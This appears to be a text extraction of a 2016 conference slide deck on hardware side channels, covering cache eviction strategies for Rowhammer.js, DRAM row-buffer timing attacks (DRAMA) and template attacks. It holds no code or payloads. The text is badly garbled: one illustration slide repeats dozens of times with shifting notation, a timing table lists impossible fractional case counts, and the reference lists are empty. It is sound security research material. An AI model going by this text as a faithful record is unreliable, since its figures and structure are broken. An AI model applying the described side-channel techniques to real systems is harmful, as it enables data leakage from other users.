<tr>
<td>$\mathcal{P}$-1-1-1-17</td>
<td>17</td>
<td>74.46% $\times$</td>
<td>307 ns $\checkmark$</td>
</tr>
<tr>
<td>$\mathcal{P}$-1-1-1-20</td>
<td>20</td>
<td>99.82% $\checkmark$</td>
<td>934 ns $\times$</td>
</tr>
<tr>
<td>$\mathcal{P}$-2-1-1-17</td>
<td>34</td>
<td>99.86% $\checkmark$</td>
<td>191 ns $\checkmark$</td>
</tr>
<tr>
<td>$\mathcal{P}$-2-2-1-17</td>
<td>64</td>
<td>99.98% $\checkmark$</td>
<td>180 ns $\checkmark$</td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache.

Daniel Gruss, Graz University of Technology
October 18, 2016 — Hacktivity
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>P-2-1-1-17</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
<tr>
<td>P-2-2-1-17</td>
<td>64</td>
<td>99.98%</td>
<td>180 ns</td>
</tr>
</tbody>
</table>

→ more accesses, smaller execution time?

Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Illustration

$P_{-1-1-1-17}$ (17 accesses, 307ns)

$P_{-2-1-1-17}$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

$P$-1-1-1-17 (17 accesses, 307ns)

$P$-2-1-1-17 (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \ (17 \text{ accesses}, \ 307\text{ns}) \]

\[ P-2-1-1-17 \ (34 \text{ accesses}, \ 191\text{ns}) \]
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$\mathcal{P}-1-1-1-17$ (17 accesses, 307ns)

$\mathcal{P}-2-1-1-17$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \] (17 accesses, 307\,ns)

\[ P-2-1-1-17 \] (34 accesses, 191\,ns)
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \] (17 accesses, 307ns)

\[ P-2-1-1-17 \] (34 accesses, 191ns)
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \ (17 \text{ accesses, } 307\text{ns}) \]

\[ P-2-1-1-17 \ (34 \text{ accesses, } 191\text{ns}) \]

Time in ns
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$P_{1-1-1-17}$ (17 accesses, 307ns)

$P_{2-1-1-17}$ (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \] (17 accesses, 307ns)

\[ P-2-1-1-17 \] (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\(P-1-1-1-17\) (17 accesses, 307ns)

\(P-2-1-1-17\) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\( \mathcal{P}-1-1-1-17 \) (17 accesses, 307ns)

\( \mathcal{P}-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)
Cache eviction strategies: Illustration

$P_{1-1-1-17}$ (17 accesses, 307ns)

$P_{2-1-1-17}$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ \mathcal{P}-1-1-1-17 \ (17 \text{ accesses, } 307\text{ns}) \]

\[ \mathcal{P}-2-1-1-17 \ (34 \text{ accesses, } 191\text{ns}) \]

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \] (17 accesses, 307ns)

\[ P-2-1-1-17 \] (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\(\mathcal{P}-1-1-1-17\) (17 accesses, 307ns)

\(\mathcal{P}-2-1-1-17\) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$\mathcal{P}-1-1-1-17$ (17 accesses, 307ns)

$\mathcal{P}-2-1-1-17$ (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ \mathcal{P}-1-1-1-17 \] (17 accesses, 307\,ns)

\[ \mathcal{P}-2-1-1-17 \] (34 accesses, 191\,ns)

Time in ns
Cache eviction strategies: Illustration

$\mathcal{P}-1-1-1-17$ (17 accesses, 307ns)

$\mathcal{P}-2-1-1-17$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ \mathcal{P}-1-1-1-17 \] (17 accesses, 307ns)

\[ \mathcal{P}-2-1-1-17 \] (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \] (17 accesses, 307ns)

\[ P-2-1-1-17 \] (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$P_{1-1-1-17}$ (17 accesses, 307ns)

$P_{2-1-1-17}$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

\(P-1-1-1-17\) (17 accesses, 307\,ns)

\(P-2-1-1-17\) (34 accesses, 191\,ns)

Time in ns
Cache eviction strategies: Illustration

$P_{-1-1-1-17}$ (17 accesses, 307ns)

$P_{-2-1-1-17}$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

$\mathcal{P}-1-1-1-17$ (17 accesses, 307ns)

$\mathcal{P}-2-1-1-17$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

\( \mathcal{P}-1-1-1-17 \) (17 accesses, 307ns)

\( \mathcal{P}-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\( \mathcal{P}-1-1-1-17 \) (17 accesses, 307ns)

\( \mathcal{P}-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307ns)

\( P-2-1-1-17 \) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ \mathcal{P}-1-1-1-17 \] (17 accesses, 307ns)

\[ \mathcal{P}-2-1-1-17 \] (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \ (17 \text{ accesses}, \ 307\text{ns}) \]

\[ P-2-1-1-17 \ (34 \text{ accesses}, \ 191\text{ns}) \]

Time in ns
Cache eviction strategies: Illustration

\( \mathcal{P}-1-1-1-17 \) (17 accesses, 307ns)

\( \mathcal{P}-2-1-1-17 \) (34 accesses, 191ns)
Cache eviction strategies: Illustration

$\mathcal{P}-1-1-1-17$ (17 accesses, 307ns)

$\mathcal{P}-2-1-1-17$ (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\(\mathcal{P}-1-1-1-17\) (17 accesses, 307ns)

\(\mathcal{P}-2-1-1-17\) (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ \mathcal{P}-1-1-1-17 \] (17 accesses, 307ns)

\[ \mathcal{P}-2-1-1-17 \] (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \] (17 accesses, 307ns)

\[ P-2-1-1-17 \] (34 accesses, 191ns)

Miss (intended) Miss Miss Miss H Miss Miss Miss H Miss Miss Miss H Miss Miss Miss H Miss Miss Miss H Miss Miss Miss H Miss Miss
Evaluation on Haswell

Figure: Number of bit flips within 15 minutes.
Rowhammer.js: Take-Away

- cache eviction fast enough to replace `clflush`
- independent of programming language and available instructions
- first remote fault attack, from a browser
Rowhammer.js: Take-Away

- cache eviction fast enough to replace clflush
- independent of programming language and available instructions
- first remote fault attack, from a browser
- if you think a fault is not exploitable, think again
DRAMA: Motivation (1)

a lot of wasted time
a lot of wasted time

or a side channel?
DRAMA: Motivation (2)

- cache attacks: either not across CPUs, or need shared memory
- limits attacks in restrictive environments
DRAMA: Motivation (2)

- cache attacks: either not across CPUs, or need shared memory
- limits attacks in restrictive environments

→ exploiting the DRAM, across CPUs and without shared memory
DRAM organization example

- bits in cells in rows
- access: activate row, copy to row buffer
- row buffer → cache!
DRAM organization example

- bits in cells in rows
- access: activate row, copy to row buffer
- row buffer $\rightarrow$ cache!

$\rightarrow$ how to exploit these caches?
Row hit and row conflict

When accessing a row $i$ in a bank:

- **row hit**: row $i$ already opened in row buffer $\rightarrow$ fast
- **row conflict**: row $j \neq i$ opened in the same bank $\rightarrow$ slow
DRAM timing differences

<table>
<thead>
<tr>
<th>Access time [CPU cycles]</th>
<th>Number of cases</th>
</tr>
</thead>
<tbody>
<tr>
<td>72</td>
<td>10^7</td>
</tr>
<tr>
<td>84</td>
<td>10^6</td>
</tr>
<tr>
<td>96</td>
<td>10^5</td>
</tr>
<tr>
<td>108</td>
<td>10^4</td>
</tr>
<tr>
<td>120</td>
<td>10^3</td>
</tr>
<tr>
<td>132</td>
<td>10^2</td>
</tr>
<tr>
<td>144</td>
<td>10^1</td>
</tr>
<tr>
<td>156</td>
<td>10^0</td>
</tr>
<tr>
<td>168</td>
<td>10^-1</td>
</tr>
<tr>
<td>180</td>
<td>10^-2</td>
</tr>
<tr>
<td>192</td>
<td>10^-3</td>
</tr>
<tr>
<td>204</td>
<td>10^-4</td>
</tr>
<tr>
<td>216</td>
<td>10^-5</td>
</tr>
<tr>
<td>228</td>
<td>10^-6</td>
</tr>
<tr>
<td>240</td>
<td>10^-7</td>
</tr>
<tr>
<td>252</td>
<td>10^-8</td>
</tr>
<tr>
<td>264</td>
<td>10^-9</td>
</tr>
<tr>
<td>276</td>
<td>10^-10</td>
</tr>
<tr>
<td>288</td>
<td>10^-11</td>
</tr>
</tbody>
</table>

Legend:
- Cache hit
- Cache miss, row hit
- Cache miss, row conflict
Example attack

- side-channel: template attack
  - allocate a large fraction of memory to be in a row with the victim
  - profile memory and record row-hit ratio for each address
Take-away

- performance optimizations $\rightarrow$ side channels
- caches $\rightarrow$ leakage
- today’s computers are fast because: lots of small optimizations
  $\rightarrow$ computers won’t stop leaking
Microarchitectural Incontinence
You would leak too if you were so fast!

Daniel Gruss
Graz University of Technology
October 18, 2016 — Hacktivity
References I


References II


References III


Granularity of the attacks

- 8 out of 64 regions (\(=512\) B) map to the same bank.
- each row is divided among 16 different pages (\(A - P\))
- occupying 1 page \(B\) to \(P\) enough to spy on the eight 64-byte regions of page \(A\) in the same bank
  \[\rightarrow\] granularity: \(512\) B = 2 cache lines